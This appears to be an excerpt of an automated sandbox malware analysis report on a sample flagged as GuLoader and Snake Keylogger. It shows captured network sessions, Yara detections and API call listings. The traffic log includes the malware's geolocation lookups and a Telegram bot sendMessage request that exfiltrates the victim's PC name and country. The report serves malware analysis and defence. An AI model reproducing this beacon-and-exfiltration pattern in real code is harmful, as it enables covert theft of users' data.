2024-10-28 11:22:41 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:42 UTC	63	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-28 11:22:42 UTC	878	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:42 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37193 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NR0c8RUNWYFNvSppELqMhBfLsAUUAjMq6YRDxZZqG3l8SYjz6s5Cg7EoTBPiQZMUjxXID6qo1wK8hFVsMP4VE%2Fl9palUsWvpRzyjYlqBsxilGPN835OzYzneVBzVpEddcjIY5Wuh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8cb07ae346d8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1015&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2724365&cwnd=248&unsent_bytes=0&cid=3250173afbdeff01&ts=150&x=0"
2024-10-28 11:22:42 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:44 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 11:22:44 UTC	895	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:44 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37195 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=juuv%2BKc67OB1t5TK1VmJ7QgQanLT3VpX%2B1Ee7pjej2yFdRsEe2mLgdyRwt%2BOUo%2BmcE%2BFtIi1MFcypD%2FOecIjYmpFlrIJp%2FqBvL8sFOgKktCVKeKVD%2F%2FIoO2Ysreu%2BgCvLaPc047H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8cbaec066bba-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=972&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=3001036&cwnd=251&unsent_bytes=0&cid=9f4cb2e8cdfbc589&ts=146&x=0"
2024-10-28 11:22:44 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:45 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 11:22:46 UTC	884	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:46 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37197 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LGdlFVZxRWUyJrEXjFFWiRAYTUBaYxPHRLb%2F%2BnTan0sVKp%2F7qn2Djjype9AiMIzpeBHaSxCBiWI50D5ZSoLw9EqwVY2zn2ESIJaIMxhPR66%2Bwle4IBDcKgk1dJtl9xcFo5jhgeAK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8cc5ba946c14-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1642654&cwnd=251&unsent_bytes=0&cid=fa3b4da8b7ab8ba3&ts=216&x=0"
2024-10-28 11:22:46 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49754	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:47 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 11:22:47 UTC	884	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:47 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37198 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BFAfYxIXVHdURDZwKpG4KymBZUSszMt6AlHUl6To150aC0MFAo6knwmdtPSd%2Fo9Tm22TxurS4Qb1z2vxRu7IEu1Zw8rAV7FrnR9XPZQTkbntVtviJTXyFWGQjChGmGC%2FgU4HlL%2F4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8cd14f57485c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1189&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2479452&cwnd=248&unsent_bytes=0&cid=271bdbb678565df1&ts=145&x=0"
2024-10-28 11:22:47 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49766	188.114.97.3	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:49 UTC	87	OUT	GET /xml/155.94.241.188 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-28 11:22:49 UTC	882	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 11:22:49 GMT Content-Type: text/xml Content-Length: 358 Connection: close apigw-requestid: AVhc-iOyPHcEJSw= Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 37200 Last-Modified: Mon, 28 Oct 2024 01:02:49 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2FxqqmBNP9mXE2pU7E4klIT20sjdXziYWl5%2Buegqxidnenm69gkwW1dksZeVqkW5nn44ni2K5mhqgdxFKTHwyQQEoJy35Cr8qqvwhOUU1bl72lZQ9bhvvdFA5yXmBC%2FLQ9OAWXzR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9a8cdc1989e7bf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2038&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1375771&cwnd=251&unsent_bytes=0&cid=1533368edcf935b7&ts=235&x=0"
2024-10-28 11:22:49 UTC	358	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a Data Ascii: <Response><IP>155.94.241.188</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49772	149.154.167.220	443	1440	C:\Users\user\Desktop\Fa24c148.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 11:22:50 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2028/10/2024%20/%2022:44:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-28 11:22:50 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 28 Oct 2024 11:22:50 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-28 11:22:50 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	07:21:46
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\Fa24c148.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Fa24c148.exe"
Imagebase:	0x400000
File size:	1'005'202 bytes
MD5 hash:	7644EBBF786053FFAF95DBE86B7DE5D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2029869938.0000000005425000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:22:22
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\Fa24c148.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Fa24c148.exe"
Imagebase:	0x400000
File size:	1'005'202 bytes
MD5 hash:	7644EBBF786053FFAF95DBE86B7DE5D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2951440746.00000000335C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2951440746.00000000336C9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	15%
Signature Coverage:	18.2%
Total number of Nodes:	1529
Total number of Limit Nodes:	49

Executed Functions

Function 004031FF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 0040321E
SetErrorMode.KERNELBASE(00008001), ref: 00403229
OleInitialize.OLE32(00000000), ref: 00403230

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,00000020,00403242,00000008), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNELBASE(?,?,00000020,00403242,00000008), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

SHGetFileInfoW.SHELL32(00420658,00000000,?,000002B4,00000000), ref: 00403258

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

GetCommandLineW.KERNEL32(004281A0,NSIS Error), ref: 0040326D
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\Fa24c148.exe",00000000), ref: 00403280
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Fa24c148.exe",00000020), ref: 004032A7
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004033B0
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004033C1
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033CD
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033E1
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033E9
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033FA
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403402
DeleteFileW.KERNELBASE(1033), ref: 00403416
OleUninitialize.OLE32(?), ref: 004034C6
ExitProcess.KERNEL32 ref: 004034E6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Fa24c148.exe",00000000,?), ref: 004034F2
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\Fa24c148.exe",00000000,?), ref: 004034FE
CreateDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040350A
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403511
DeleteFileW.KERNEL32(0041FE58,0041FE58,?,0042A000,?), ref: 0040356B
CopyFileW.KERNEL32(C:\Users\user\Desktop\Fa24c148.exe,0041FE58,00000001), ref: 0040357F
CloseHandle.KERNEL32(00000000,0041FE58,0041FE58,?,0041FE58,00000000), ref: 004035AC
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 00403602
ExitWindowsEx.USER32(00000002,00000000), ref: 0040363E
ExitProcess.KERNEL32 ref: 00403661

Strings

C:\Program Files (x86)\shaw, xrefs: 004034A3
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer, xrefs: 00403395, 00403498, 00403517, 00403521
TEMP, xrefs: 004033F5
TMP, xrefs: 004033FD
1033, xrefs: 00403411
kernel32::EnumResourceTypesA(i 0,i r8,i 0), xrefs: 0040354E, 004035B6
"C:\Users\user\Desktop\Fa24c148.exe", xrefs: 00403273, 00403279, 0040343A
SeShutdownPrivilege, xrefs: 00403614
~nsu.tmp, xrefs: 004034EC
Low, xrefs: 004033E3
Error launching installer, xrefs: 0040347D
C:\Users\user\Desktop\Fa24c148.exe, xrefs: 0040357A
NSIS Error, xrefs: 0040325E
\Temp, xrefs: 004033C7
C:\Users\user\Desktop, xrefs: 004034F7, 004034FC, 00403520
C:\Users\user\AppData\Local\Temp\, xrefs: 004033A5, 004033AA, 004033C0, 004033CC, 004033DB, 004033E8, 004033F4, 004033FC, 004034F1, 004034FD, 00403509, 00403510, 004035C1

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\Fa24c148.exe"$1033$C:\Program Files (x86)\shaw$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Fa24c148.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$kernel32::EnumResourceTypesA(i 0,i r8,i 0)$~nsu.tmp
API String ID: 4107622049-1635515615
Opcode ID: 7dc04cae1505df307541da29feb1b78f76a738656bf7d790261999e19a40ed68
Instruction ID: ad4a0f84636c0b66377e35c31726649c2eaf1ae8fb353dd82aac126218056701
Opcode Fuzzy Hash: 7dc04cae1505df307541da29feb1b78f76a738656bf7d790261999e19a40ed68
Instruction Fuzzy Hash: 99B1D030904210BAD7207F629D49A7B3EACEB45706F40497FF441B62E2D7BC9941CB6E

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004051BF
GetDlgItem.USER32(?,000003EE), ref: 004051CE
GetClientRect.USER32(?,?), ref: 0040520B
GetSystemMetrics.USER32(00000015), ref: 00405213
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00405234
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405245
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405258
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405266
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405279
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040529B
ShowWindow.USER32(?,00000008), ref: 004052AF
GetDlgItem.USER32(?,000003EC), ref: 004052D0
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004052E0
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052F9
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405305
GetDlgItem.USER32(?,000003F8), ref: 004051DD

Part of subcall function 00403FF1: SendMessageW.USER32(00000028,?,00000001,00403E1D), ref: 00403FFF

GetDlgItem.USER32(?,000003EC), ref: 00405322
CreateThread.KERNELBASE(00000000,00000000,Function_000050F4,00000000), ref: 00405330
CloseHandle.KERNELBASE(00000000), ref: 00405337
ShowWindow.USER32(00000000), ref: 0040535B
ShowWindow.USER32(?,00000008), ref: 00405360
ShowWindow.USER32(00000008), ref: 004053AA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053DE
CreatePopupMenu.USER32 ref: 004053EF
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405403
GetWindowRect.USER32(?,?), ref: 00405423
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040543C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405474
OpenClipboard.USER32(00000000), ref: 00405484
EmptyClipboard.USER32 ref: 0040548A
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405496
GlobalLock.KERNEL32(00000000), ref: 004054A0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004054B4
GlobalUnlock.KERNEL32(00000000), ref: 004054D4
SetClipboardData.USER32(0000000D,00000000), ref: 004054DF
